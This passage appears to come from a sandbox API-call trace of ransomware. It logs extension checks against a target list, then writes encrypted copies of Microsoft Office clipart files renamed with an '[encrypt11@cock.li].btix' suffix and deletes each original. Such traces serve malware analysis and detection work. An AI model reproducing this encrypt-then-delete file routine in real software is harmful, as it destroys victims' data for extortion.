lpString2=".WMF") returned -1 [0069.718] lstrlenW (lpString=".7z") returned 3 [0069.718] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0069.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0069.718] lstrlenW (lpString=".dbf") returned 4 [0069.718] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0069.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0069.718] lstrlenW (lpString=".1cd") returned 4 [0069.718] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0069.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0069.718] lstrlenW (lpString=".jpg") returned 4 [0069.718] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0069.718] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0069.718] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0069.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0069.719] GetLastError () returned 0x0 [0069.719] ReadFile (in: hFile=0x328, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x78c, lpOverlapped=0x0) returned 1 [0069.744] WriteFile (in: hFile=0x2e0, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x790, lpOverlapped=0x0) returned 1 [0069.745] ReadFile (in: hFile=0x328, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0069.745] WriteFile (in: hFile=0x2e0, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0069.745] SetEndOfFile (hFile=0x2e0) returned 1 [0069.745] CloseHandle (hObject=0x2e0) returned 1 [0069.745] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0069.745] SetEndOfFile (hFile=0x328) returned 1 [0069.746] CloseHandle (hObject=0x328) returned 1 [0069.746] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0069.746] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 1 [0069.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0069.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0069.746] lstrlenW (lpString=".doc") returned 4 [0069.746] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0069.746] lstrlenW (lpString=".docx") returned 5 [0069.746] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0069.746] lstrlenW (lpString=".pdf") returned 4 [0069.746] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0069.746] lstrlenW (lpString=".xls") returned 4 [0069.746] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0069.746] lstrlenW (lpString=".xlsx") returned 5 [0069.746] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0069.746] lstrlenW (lpString=".ppt") returned 4 [0069.747] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0069.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0069.747] lstrlenW (lpString=".zip") returned 4 [0069.747] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0069.747] lstrlenW (lpString=".rar") returned 4 [0069.747] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0069.747] lstrlenW (lpString=".bz2") returned 4 [0069.747] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0069.747] lstrlenW (lpString=".7z") returned 3 [0069.747] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0069.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0069.747] lstrlenW (lpString=".dbf") returned 4 [0069.747] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0069.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0069.747] lstrlenW (lpString=".1cd") returned 4 [0069.747] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0069.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0069.747] lstrlenW (lpString=".jpg") returned 4 [0069.747] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0069.787] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0069.787] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0069.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0069.788] GetLastError () returned 0x0 [0069.788] ReadFile (in: hFile=0x328, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x8b2, lpOverlapped=0x0) returned 1 [0069.864] WriteFile (in: hFile=0x2e0, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x8c0, lpOverlapped=0x0) returned 1 [0069.865] ReadFile (in: hFile=0x328, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0069.865] WriteFile (in: hFile=0x2e0, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0069.865] SetEndOfFile (hFile=0x2e0) returned 1 [0069.865] CloseHandle (hObject=0x2e0) returned 1 [0069.865] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0069.865] SetEndOfFile (hFile=0x328) returned 1 [0069.866] CloseHandle (hObject=0x328) returned 1 [0069.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0069.866] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 1 [0069.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0069.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0069.867] lstrlenW (lpString=".doc") returned 4 [0069.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0069.867] lstrlenW (lpString=".docx") returned 5 [0069.867] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0069.867] lstrlenW (lpString=".pdf") returned 4 [0069.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0069.867] lstrlenW (lpString=".xls") returned 4 [0069.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0069.867] lstrlenW (lpString=".xlsx") returned 5 [0069.867] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0069.867] lstrlenW (lpString=".ppt") returned 4 [0069.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0069.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0069.867] lstrlenW (lpString=".zip") returned 4 [0069.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0069.867] lstrlenW (lpString=".rar") returned 4 [0069.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0069.867] lstrlenW (lpString=".bz2") returned 4 [0069.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0069.867] lstrlenW (lpString=".7z") returned 3 [0069.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0069.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0069.867] lstrlenW (lpString=".dbf") returned 4 [0069.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0069.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0069.867] lstrlenW (lpString=".1cd") returned 4 [0069.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0069.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0069.868] lstrlenW (lpString=".jpg") returned 4 [0069.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0069.868] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0069.868] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0069.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0069.868] GetLastError () returned 0x0 [0069.868] ReadFile (in: hFile=0x328, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x39e4, lpOverlapped=0x0) returned 1 [0070.051] WriteFile (in: hFile=0x2e0, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x39f0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x39f0, lpOverlapped=0x0) returned 1 [0070.052] ReadFile (in: hFile=0x328, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0070.052] WriteFile (in: hFile=0x2e0, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0070.052] SetEndOfFile (hFile=0x2e0) returned 1 [0070.056] CloseHandle (hObject=0x2e0) returned 1 [0070.056] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.056] SetEndOfFile (hFile=0x328) returned 1 [0070.059] CloseHandle (hObject=0x328) returned 1 [0070.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.059] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 1 [0070.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0070.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0070.059] lstrlenW (lpString=".doc") returned 4 [0070.059] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.059] lstrlenW (lpString=".docx") returned 5 [0070.059] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.059] lstrlenW (lpString=".pdf") returned 4 [0070.059] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.059] lstrlenW (lpString=".xls") returned 4 [0070.059] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.059] lstrlenW (lpString=".xlsx") returned 5 [0070.060] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.060] lstrlenW (lpString=".ppt") returned 4 [0070.060] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0070.060] lstrlenW (lpString=".zip") returned 4 [0070.064] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.064] lstrlenW (lpString=".rar") returned 4 [0070.064] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.064] lstrlenW (lpString=".bz2") returned 4 [0070.064] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.064] lstrlenW (lpString=".7z") returned 3 [0070.064] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0070.064] lstrlenW (lpString=".dbf") returned 4 [0070.064] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0070.064] lstrlenW (lpString=".1cd") returned 4 [0070.064] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0070.064] lstrlenW (lpString=".jpg") returned 4 [0070.064] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.064] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.065] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0070.065] GetLastError () returned 0x0 [0070.065] ReadFile (in: hFile=0x328, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0xb90, lpOverlapped=0x0) returned 1 [0070.126] WriteFile (in: hFile=0x32c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xba0, lpOverlapped=0x0) returned 1 [0070.127] ReadFile (in: hFile=0x328, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0070.127] WriteFile (in: hFile=0x32c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0070.127] SetEndOfFile (hFile=0x32c) returned 1 [0070.133] CloseHandle (hObject=0x32c) returned 1 [0070.134] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.134] SetEndOfFile (hFile=0x328) returned 1 [0070.141] CloseHandle (hObject=0x328) returned 1 [0070.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.143] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 1 [0070.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0070.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0070.143] lstrlenW (lpString=".doc") returned 4 [0070.143] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.144] lstrlenW (lpString=".docx") returned 5 [0070.144] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.144] lstrlenW (lpString=".pdf") returned 4 [0070.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.144] lstrlenW (lpString=".xls") returned 4 [0070.144] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.144] lstrlenW (lpString=".xlsx") returned 5 [0070.144] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.144] lstrlenW (lpString=".ppt") returned 4 [0070.144] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0070.144] lstrlenW (lpString=".zip") returned 4 [0070.144] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.144] lstrlenW (lpString=".rar") returned 4 [0070.144] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.144] lstrlenW (lpString=".bz2") returned 4 [0070.144] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.144] lstrlenW (lpString=".7z") returned 3 [0070.144] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0070.144] lstrlenW (lpString=".dbf") returned 4 [0070.144] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0070.144] lstrlenW (lpString=".1cd") returned 4 [0070.144] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0070.144] lstrlenW (lpString=".jpg") returned 4 [0070.144] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.148] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.148] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0070.148] GetLastError () returned 0x0 [0070.148] ReadFile (in: hFile=0x354, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x820, lpOverlapped=0x0) returned 1 [0070.168] WriteFile (in: hFile=0x398, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x830, lpOverlapped=0x0) returned 1 [0070.170] ReadFile (in: hFile=0x354, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0070.170] WriteFile (in: hFile=0x398, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0070.170] SetEndOfFile (hFile=0x398) returned 1 [0070.170] CloseHandle (hObject=0x398) returned 1 [0070.170] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.170] SetEndOfFile (hFile=0x354) returned 1 [0070.171] CloseHandle (hObject=0x354) returned 1 [0070.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.171] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 1 [0070.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0070.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0070.171] lstrlenW (lpString=".doc") returned 4 [0070.171] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.171] lstrlenW (lpString=".docx") returned 5 [0070.171] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.171] lstrlenW (lpString=".pdf") returned 4 [0070.171] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.171] lstrlenW (lpString=".xls") returned 4 [0070.171] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.171] lstrlenW (lpString=".xlsx") returned 5 [0070.171] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.171] lstrlenW (lpString=".ppt") returned 4 [0070.171] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0070.172] lstrlenW (lpString=".zip") returned 4 [0070.172] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.172] lstrlenW (lpString=".rar") returned 4 [0070.172] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.172] lstrlenW (lpString=".bz2") returned 4 [0070.172] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.172] lstrlenW (lpString=".7z") returned 3 [0070.172] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0070.172] lstrlenW (lpString=".dbf") returned 4 [0070.172] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0070.172] lstrlenW (lpString=".1cd") returned 4 [0070.172] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0070.172] lstrlenW (lpString=".jpg") returned 4 [0070.172] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.172] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.172] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0070.173] GetLastError () returned 0x0 [0070.173] ReadFile (in: hFile=0x354, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x7e4, lpOverlapped=0x0) returned 1 [0070.193] WriteFile (in: hFile=0x398, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x7f0, lpOverlapped=0x0) returned 1 [0070.193] ReadFile (in: hFile=0x354, 